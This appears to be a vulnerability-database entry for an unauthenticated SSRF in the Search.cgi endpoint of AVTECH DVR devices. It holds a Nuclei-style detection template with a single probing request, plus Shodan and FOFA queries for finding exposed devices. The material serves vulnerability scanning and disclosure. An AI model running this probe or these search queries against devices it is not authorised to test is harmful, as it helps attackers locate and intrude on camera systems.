avtech-dvr-ssrf: AVTECH DVR - SSRF

2025-08-01 AVTECH DVR PoC Public

Description

AVTECH DVR device, Search.cgi can be accessed directly. Search.cgi is responsible for searching and accessing cameras in the local network. Search.cgi provides the cgi_query function.

PoC

id: avtech-dvr-ssrf

info:
  name: AVTECH DVR - SSRF
  author: ritikchaddha
  severity: medium
  description: |
    AVTECH DVR device, Search.cgi can be accessed directly. Search.cgi is responsible for searching and accessing cameras in the local network. Search.cgi provides the cgi_query function.
  classification:
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: ssrf,avtech,unauth,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nobody/Search.cgi?action=scan"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Search.Device'
          - 'Proto='
          - 'IPAddress='
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203952a49f2cfc9d438d183af557461af429664f589f02bc21260edbc822387e26022100cb6645f6a7001bf0ac62cb84a9971a46ba66c094f657bb97dea0caf7ac39f9ed:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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